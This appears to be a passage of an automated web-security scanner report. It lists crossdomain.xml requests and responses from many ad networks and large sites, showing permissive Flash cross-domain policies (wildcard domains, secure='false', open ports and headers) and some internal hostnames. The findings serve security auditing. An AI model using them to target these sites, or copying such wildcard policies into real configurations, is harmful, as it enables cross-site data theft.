Date: Sat, 07 May 2011 01:50:38 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<sit
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: m.adnxs.com

HTTP/1.0 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sat, 07-May-2011 20:02:54 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: media.fastclick.net

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:33:38 GMT
Server: Apache/2.2.4 (Unix)
P3P: CP='NOI DSP DEVo TAIo COR PSA OUR IND NAV'
Content-Length: 202
Keep-Alive: timeout=5, max=19936
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: nba.scout.com

HTTP/1.1 200 OK
Content-Length: 222
Content-Type: text/xml
Content-Location: http://nba.scout.com/crossdomain.xml
Last-Modified: Thu, 19 Aug 2010 20:24:22 GMT
Accept-Ranges: bytes
ETag: "01f3482dc3fcb1:10e3"
Server: Microsoft-IIS/6.0
Server: Market
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 19:30:41 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: ne.wac.edgecastcdn.net

HTTP/1.0 200 OK
Accept-Ranges: bytes
Content-Type: text/xml
Date: Sat, 07 May 2011 01:21:59 GMT
Last-Modified: Tue, 08 Mar 2011 05:43:20 GMT
Server: ECS (dca/532A)
Content-Length: 203
Connection: close

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain="*" />

</cross-domain-polic
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: now.eloqua.com

HTTP/1.1 200 OK
Cache-Control: max-age=0
Content-Type: text/xml
Last-Modified: Tue, 26 May 2009 19:46:00 GMT
Accept-Ranges: bytes
ETag: "04c37983adec91:0"
Server: Microsoft-IIS/7.5
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS PHY ONL UNI COM NAV CNT STA",
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:24:04 GMT
Connection: keep-alive
Content-Length: 206

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-p
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: om.expedia.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:33:41 GMT
Server: Omniture DC/2.0.0
xserver: www170
Content-Length: 93
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: p.addthis.com

HTTP/1.0 200 OK
Server: IM BidManager
Date: Sat, 07 May 2011 01:17:47 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: pix04.revsci.net

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/xml
Date: Fri, 06 May 2011 22:33:37 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-po
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: rad.msn.com

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/xml
Last-Modified: Thu, 14 Apr 2011 22:28:48 GMT
Accept-Ranges: bytes
ETag: "0d09952f3facb1:0"
Server: Microsoft-IIS/7.5
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Access-Control-Allow-Origin: *
Date: Fri, 06 May 2011 19:30:47 GMT
Connection: keep-alive
Content-Length: 202

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: recruiting.scout.com

HTTP/1.1 200 OK
Content-Length: 222
Content-Type: text/xml
Content-Location: http://recruiting.scout.com/crossdomain.xml
Last-Modified: Thu, 19 Aug 2010 20:24:22 GMT
Accept-Ranges: bytes
ETag: "01f3482dc3fcb1:c34"
Server: Microsoft-IIS/6.0
Server: Static1
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:41:57 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: scouthoops.scout.com

HTTP/1.1 200 OK
Content-Length: 222
Content-Type: text/xml
Content-Location: http://scouthoops.scout.com/crossdomain.xml
Last-Modified: Thu, 19 Aug 2010 20:24:22 GMT
Accept-Ranges: bytes
ETag: "01f3482dc3fcb1:68c"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Server: Pike
Date: Fri, 06 May 2011 19:30:37 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: search.twitter.com

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:27 GMT
Server: hi
Last-Modified: Tue, 25 Jan 2011 18:04:15 GMT
Cache-Control: max-age=1800
Expires: Sat, 07 May 2011 02:12:14 GMT
Content-Type: application/xml
Content-Length: 206
Vary: Accept-Encoding
X-Varnish: 1396483138 1396421936
Age: 493
Via: 1.1 varnish
X-Cache-Svr: smf1-acz-03-sr1.prod.twitter.com
X-Cache: HIT
X-Cache-Hits: 1
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: secure-us.imrworldwide.com

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:40 GMT
Server: Apache
Cache-Control: max-age=604800
Expires: Sat, 14 May 2011 01:50:40 GMT
Last-Modified: Wed, 14 May 2008 01:55:09 GMT
ETag: "10c-482a467d"
Accept-Ranges: bytes
Content-Length: 268
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<site-control permi
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: segment-pixel.invitemedia.com

HTTP/1.0 200 OK
Server: IM BidManager
Date: Fri, 06 May 2011 19:11:33 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: spe.atdmt.com

HTTP/1.0 200 OK
Content-Type: text/xml
Content-Length: 207
Allow: GET
Expires: Sat, 14 May 2011 11:02:59 GMT
Date: Sat, 07 May 2011 11:30:17 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: tags.bluekai.com

HTTP/1.0 200 OK
Date: Fri, 06 May 2011 22:33:16 GMT
Last-Modified: Mon, 07 Mar 2011 20:46:41 GMT
ETag: "a30498-ca-49dea97c4ae40"
Accept-Ranges: bytes
Content-Length: 202
Content-Type: text/xml
Connection: close

<cross-domain-policy>
<allow-access-from domain="*" to-ports="*"/>
<site-control permitted-cross-domain-policies="all"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: tours.sapha.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:28 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 31 Oct 2008 21:10:10 GMT
ETag: "d3080a5-140-5bff080"
Accept-Ranges: bytes
Content-Length: 320
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: va.px.invitemedia.com

HTTP/1.0 200 OK
Server: IM BidManager
Date: Sat, 07 May 2011 01:20:11 GMT
Content-Type: text/plain
Content-Length: 81

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: www.scout.com

HTTP/1.1 200 OK
Content-Length: 222
Content-Type: text/xml
Content-Location: http://www.scout.com/crossdomain.xml
Last-Modified: Thu, 19 Aug 2010 20:24:22 GMT
Accept-Ranges: bytes
ETag: "01f3482dc3fcb1:10e3"
Server: Microsoft-IIS/6.0
Server: Market
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 19:29:11 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: www2.sesamestats.com

HTTP/1.0 200 OK
Pragma: "No-Cache"
Content-Length: 268
Content-Type: text/xml
Last-Modified: Fri, 12 Sep 2008 17:47:54 GMT
Accept-Ranges: bytes
ETag: "3a3269afff14c91:6cc"
Server: Microsoft-IIS/6.0
p3p: CP="NOI DSP CURa ADMa DEVa TAIa PSAa IVAi OUR BUS IND UNI COM NAV"
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 22:33:34 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
<site-control permi
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: edge.sharethis.com

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Fri, 06 May 2011 17:23:38 GMT
ETag: "30106-14a-4a29ec0155a80"
Content-Type: application/xml
Date: Sat, 07 May 2011 01:21:32 GMT
Content-Length: 330
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*.meandmybadself.com" />
<allow-access-from domain="*.sharethis.com" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: expedia.com

HTTP/1.1 200 OK
Content-Length: 1950
Content-Type: text/xml
Last-Modified: Tue, 27 Apr 2010 20:20:24 GMT
Accept-Ranges: bytes
ETag: "0b4401147e6ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Date: Fri, 06 May 2011 22:33:31 GMT
Connection: close

...<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy>
<cross-domain-policy>
<allow-access-from domain="*.expedia.ca" secure="true" />
<allow-access-from domain="*.expedia.co.uk" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="content.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ads.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="media.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="www.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.au" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.jp" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.de" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.fr" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.it" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.nl" secure="true" />
...[SNIP]...
<allow-access-from domain=" www.expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.hotels.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.hotwire.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.tripadvisor.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte.ca" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte1.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte4.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte5.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte7.com" secure="true" />
...[SNIP]...
<allow-access-from domain="labadssrv01" secure="true" />
...[SNIP]...
<allow-access-from domain="labadsol01" secure="true" />
...[SNIP]...
<allow-access-from domain="10.95.1.5" secure="true" />
...[SNIP]...
<allow-access-from domain="belwaweb01" secure="true" />
...[SNIP]...
<allow-access-from domain="*.unicast.com" secure="true" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: googleads.g.doubleclick.net

HTTP/1.0 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 04 Feb 2010 20:17:40 GMT
Date: Fri, 06 May 2011 16:06:51 GMT
Expires: Sat, 07 May 2011 16:06:51 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 14510
Cache-Control: public, max-age=86400

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.sk" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: static.ak.fbcdn.net

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.30.147.196
X-Cnection: close
Date: Fri, 06 May 2011 22:33:53 GMT
Content-Length: 1473
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
...[SNIP]...
<allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: suth.com

HTTP/1.1 200 OK
Content-Length: 335
Content-Type: text/xml
Last-Modified: Mon, 04 Oct 2010 02:51:14 GMT
Accept-Ranges: bytes
ETag: "d8efc226f63cb1:1ad01"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:55:17 GMT
Connection: close

...<?xml version="1.0" encoding="utf-8"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all" />
<allow-access-from domain="*.suth.com" secure="false" />
<allow-access-from domain="*.co.uk" secure="false" />
...[SNIP]...
<allow-access-from domain="*.sutherlandglobal.com" secure="false" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: w.sharethis.com

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Fri, 06 May 2011 17:23:38 GMT
ETag: "30106-14a-4a29ec0155a80"
Content-Type: application/xml
Date: Sat, 07 May 2011 01:19:19 GMT
Content-Length: 330
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*.meandmybadself.com" />
<allow-access-from domain="*.sharethis.com" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: www.advancedaccess.com

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 18:39:47 GMT
Content-Length: 353
Content-Type: text/xml
Last-Modified: Wed, 11 Feb 2009 18:21:27 GMT
Accept-Ranges: bytes
ETag: "edf188e758cc91:586"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="http://www.advancedaccess.com/fobj/loader.swf" />
<allow-access-from domain="*.com" />
<allow-access-from domain="http://office.advancedaccess.com" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: www.expedia.com

HTTP/1.0 200 OK
Content-Length: 1950
Content-Type: text/xml
Last-Modified: Tue, 27 Apr 2010 20:20:24 GMT
Accept-Ranges: bytes
ETag: "0b4401147e6ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Date: Fri, 06 May 2011 22:33:31 GMT
Connection: close

...<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy>
<cross-domain-policy>
<allow-access-from domain="*.expedia.ca" secure="true" />
<allow-access-from domain="*.expedia.co.uk" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="content.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ads.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="media.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.au" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.jp" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.de" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.fr" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.it" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.nl" secure="true" />
...[SNIP]...
<allow-access-from domain=" www.expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.hotels.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.hotwire.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.tripadvisor.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte.ca" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte1.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte4.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte5.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte7.com" secure="true" />
...[SNIP]...
<allow-access-from domain="labadssrv01" secure="true" />
...[SNIP]...
<allow-access-from domain="labadsol01" secure="true" />
...[SNIP]...
<allow-access-from domain="10.95.1.5" secure="true" />
...[SNIP]...
<allow-access-from domain="belwaweb01" secure="true" />
...[SNIP]...
<allow-access-from domain="*.unicast.com" secure="true" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: www.expedia.com

HTTP/1.0 200 OK
Content-Length: 1950
Content-Type: text/xml
Last-Modified: Tue, 27 Apr 2010 20:20:24 GMT
Accept-Ranges: bytes
ETag: "0b4401147e6ca1:0"
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Date: Fri, 06 May 2011 22:40:52 GMT
Connection: close

...<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy>
<cross-domain-policy>
<allow-access-from domain="*.expedia.ca" secure="true" />
<allow-access-from domain="*.expedia.co.uk" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="content.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="ads.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="media.expedia.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.au" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.com.jp" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.de" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.fr" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.it" secure="true" />
...[SNIP]...
<allow-access-from domain="*.expedia.nl" secure="true" />
...[SNIP]...
<allow-access-from domain=" www.expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*expediacorporate.com" secure="true"/>
...[SNIP]...
<allow-access-from domain="*.hotels.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.hotwire.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.tripadvisor.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte.ca" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte1.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte4.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte5.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.wwte7.com" secure="true" />
...[SNIP]...
<allow-access-from domain="labadssrv01" secure="true" />
...[SNIP]...
<allow-access-from domain="labadsol01" secure="true" />
...[SNIP]...
<allow-access-from domain="10.95.1.5" secure="true" />
...[SNIP]...
<allow-access-from domain="belwaweb01" secure="true" />
...[SNIP]...
<allow-access-from domain="*.unicast.com" secure="true" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: www.facebook.com

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.136.99.118
Connection: close
Content-Length: 1473

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
...[SNIP]...
<allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: www.scmagazineus.com

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Mon, 21 Sep 2009 15:39:52 GMT
Accept-Ranges: bytes
ETag: "6cd10c3d13aca1:0"
Server: Microsoft-IIS/7.5
From: Web2-VM
Date: Fri, 06 May 2011 21:49:55 GMT
Connection: close
Content-Length: 292

<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.brightcove.com"/>
<allow-access-from domain="*.google-analytics.com"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: extras.expedia.com

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Mon, 12 Apr 2010 17:22:20 GMT
Accept-Ranges: bytes
ETag: "cc1ebb464daca1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
p3p: CP="ALL DSP COR CUR ADMo DEVo PSAo PSDo IVDi OUR STP PRE"
Date: Fri, 06 May 2011 22:36:33 GMT
Connection: close
Content-Length: 475

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="travelhook.com" />
<allow-access-from domain="test.travelhook.com" />
...[SNIP]...

